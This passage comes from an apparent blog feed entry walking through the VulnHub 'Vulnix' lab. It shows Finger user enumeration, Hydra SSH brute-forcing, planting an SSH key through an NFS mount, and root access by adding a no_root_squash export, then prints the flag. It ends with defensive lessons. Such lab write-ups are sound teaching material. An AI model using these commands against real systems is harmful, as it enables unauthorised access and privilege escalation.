    <p>The <strong>Finger</strong> service on port 79 is particularly interesting. Finger is an old protocol that leaks user information. Use the <code class="language-plaintext highlighter-rouge">finger-user-enum</code> script to enumerate valid usernames:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>perl finger-user-enum.pl <span class="nt">-U</span> /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt <span class="nt">-t</span> 192.168.0.8
</code></pre></div>    </div>

    <p>This reveals several valid usernames, including <code class="language-plaintext highlighter-rouge">user</code>.</p>
  </li>
  <li>
    <p>With a valid username, brute-force the SSH password using Hydra with the rockyou wordlist:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hydra <span class="nt">-l</span> user <span class="nt">-P</span> /opt/wordlist/rockyou.txt 192.168.0.8 ssh <span class="nt">-t</span> 4
</code></pre></div>    </div>

    <p>The password for <code class="language-plaintext highlighter-rouge">user</code> is <code class="language-plaintext highlighter-rouge">letmein</code>.</p>
  </li>
  <li>
    <p>SSH in and enumerate the system. Check <code class="language-plaintext highlighter-rouge">/etc/passwd</code> to find a local account called <code class="language-plaintext highlighter-rouge">vulnix</code> with UID 2008. This account has no login shell by default, but we can still interact with it through NFS.</p>
  </li>
  <li>
    <p>Since NFS is running (port 111), check the exports:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>showmount <span class="nt">-e</span> 192.168.0.8
</code></pre></div>    </div>

    <p>The <code class="language-plaintext highlighter-rouge">vulnix</code> user’s home directory is exported via NFS. Mount it:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> /tmp/vulnix
mount <span class="nt">-t</span> nfs 192.168.0.8:/home/vulnix /tmp/vulnix
</code></pre></div>    </div>
  </li>
  <li>
    <p>Generate an SSH key pair and upload it to the <code class="language-plaintext highlighter-rouge">vulnix</code> user’s authorized_keys:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-keygen <span class="nt">-f</span> vulnix_key <span class="nt">-N</span> <span class="s2">""</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/vulnix/.ssh
<span class="nb">cp </span>vulnix_key.pub /tmp/vulnix/.ssh/authorized_keys
<span class="nb">chmod </span>600 /tmp/vulnix/.ssh/authorized_keys
</code></pre></div>    </div>
  </li>
  <li>
    <p>SSH in as <code class="language-plaintext highlighter-rouge">vulnix</code> using the generated key:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-i</span> vulnix_key vulnix@192.168.0.8
</code></pre></div>    </div>
  </li>
</ol>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<ol>
  <li>
    <p>Check sudo permissions:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
</code></pre></div>    </div>

    <p>The output shows that <code class="language-plaintext highlighter-rouge">vulnix</code> can edit <code class="language-plaintext highlighter-rouge">/etc/exports</code> — the NFS export configuration file — without a password.</p>
  </li>
  <li>
    <p>Modify <code class="language-plaintext highlighter-rouge">/etc/exports</code> to export the root directory:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>bash <span class="nt">-c</span> <span class="s1">'echo "/root *(rw,sync,no_root_squash)" &gt;&gt; /etc/exports'</span>
</code></pre></div>    </div>

    <p>The <code class="language-plaintext highlighter-rouge">no_root_squash</code> option is critical — it means root on the client can map to root on the server, bypassing the usual security restriction.</p>
  </li>
  <li>
    <p>Reboot the VM (or restart the NFS service) to apply the new exports.</p>
  </li>
  <li>
    <p>Mount the root directory from your machine:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> /tmp/root
mount <span class="nt">-t</span> nfs 192.168.0.8:/root /tmp/root
</code></pre></div>    </div>
  </li>
  <li>
    <p>Read the flag:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /tmp/root/trophy.txt
<span class="c"># cc614640424f5bd60ce5d5264899c3be</span>
</code></pre></div>    </div>
  </li>
</ol>

<h2 id="lessons-learned">Lessons Learned</h2>

<ul>
  <li><strong>NFS exports are dangerous</strong> — Exporting directories with <code class="language-plaintext highlighter-rouge">no_root_squash</code> allows remote root access. Always restrict NFS exports to specific IPs and avoid <code class="language-plaintext highlighter-rouge">no_root_squash</code> unless absolutely necessary.</li>
  <li><strong>Finger protocol leaks info</strong> — The Finger service exposes user information that aids brute-force attacks. Disable legacy services like Finger, POP3, and SMTP if they’re not needed.</li>
  <li><strong>Sudo + NFS = privilege escalation</strong> — When a user can modify <code class="language-plaintext highlighter-rouge">/etc/exports</code> via sudo, they can export any directory on the system. This is a common privilege escalation vector on NFS-configured systems.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="vulnhub" /><summary type="html"><![CDATA[VulnHub HackLAB Vulnix walkthrough — exploiting sudo misconfigurations and Linux privilege escalation techniques to gain root on a vulnerable machine.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>